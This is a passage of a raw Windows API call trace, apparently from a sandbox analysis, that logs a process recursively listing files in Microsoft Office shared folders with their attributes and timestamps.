ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81e1182, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6439c09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf91acb76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf937677a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0287.938] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8a13295, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0287.939] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8574958, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8574958, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8c4f5e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0287.939] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27d1f57e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f02d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CMigrate.exe", cAlternateFileName="")) returned 1 [0287.939] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa15225b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa15225b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b740, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0287.939] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19b820e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19b820e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46e460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0287.939] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0287.939] GetProcessHeap () returned 0xaf0000 [0287.939] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.940] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc436e5a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.940] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0287.940] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc436e5a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc436e5a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc442d119, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b82a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0287.940] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.940] GetProcessHeap () returned 0xaf0000 [0287.940] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.940] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0287.940] GetProcessHeap () returned 0xaf0000 [0287.940] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.940] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.941] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.941] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 1 [0287.941] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 0 [0287.941] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.941] GetProcessHeap () returned 0xaf0000 [0287.941] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.941] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0287.941] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xda54c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0287.941] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d2060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0147f8e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0147f8e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf016e209, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ff0c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO40UIRES.DLL", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x632fb8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7112c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso40UIwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x286f50d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x921260, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO99LRES.DLL", cAlternateFileName="MSO99L~1.DLL")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2878da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x591a60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso99Lwin32client.dll", cAlternateFileName="MSO99L~2.DLL")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a82fe42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e3e8c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c6cdcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c6cdcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6cdcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x115c78, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0287.942] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7642a1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7642a1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7642a1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29aa07ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f2b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2616676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2616676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2b4d876, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b538, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc289be7e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="oregres.dll", cAlternateFileName="")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdbcc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9c1af93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0287.943] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9c1af93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0287.943] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.944] GetProcessHeap () returned 0xaf0000 [0287.944] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.945] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0287.945] GetProcessHeap () returned 0xaf0000 [0287.945] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0287.946] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.946] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0287.946] GetProcessHeap () returned 0xaf0000 [0287.946] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 